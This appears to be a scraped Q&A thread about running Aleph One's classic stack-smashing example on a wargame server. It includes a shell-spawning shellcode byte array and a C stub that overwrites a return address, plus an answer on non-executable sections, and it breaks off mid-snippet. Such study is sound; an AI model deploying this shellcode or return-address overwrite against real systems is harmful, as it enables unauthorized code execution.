Simple buffer overflow and shellcode example

Jjang picture Jjang · Dec 6, 2013 · Viewed 11.2k times · Source

I've been trying to run Aleph One's example in order to get a BOF and open a shell.

This is Aleph One paper: http://insecure.org/stf/smashstack.html

And this is the simple C code (located nearly at the half of the paper):

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}

Now, I've tried running this program in an SSH bash, but without success.

Since nothing happened after running it, I guesses that I just didn't write the return address, so I used GDB to see the offset between the ret variable and the real return address, and realized it was 7.

In order to check myself, I tried increasing ret in 3,4,5,6, and indeed, only when I changed line 10 to:

   ret = (int *)&ret + 7;

I got a segmentation fault.

Yet, I do not understand why a bash isn't opened and I get this error instead.

P.S I was running on 'logic smashthestack' SSH servers (which one of their challenges is BOF): http://logic.smashthestack.org:88/

Thanks for the helpers.

Answer

qwr picture qwr · Dec 6, 2013

From http://blog.markloiseau.com/2012/06/64-bit-linux-shellcode/:

This stub is an updated version of the classic shellcode test stub, with one key difference: In the new stub, the shellcode is #defined at compile-time so it can be placed directly into the main routine by gcc’s preprocessor.

This is necessary because over time, Linux and GCC have become much more cautious about which sections of an executable file can contain executable code (opposed to non-executable variables). The traditional version of the program won’t work on newer versions of Linux:

The classic shellcode c stub will generate a segfault on newer systems because the shellcode[] character array is stored in the explicitly non-executable .rodata section of the ELF file. When the computer recasts the non-executable array as a function and tries to run it, the program crashes

. Also note these changes to writing shellcode:

//old way
char[] shellcode ="shellcode..."
//new way
#define SHELLCODE "shellcode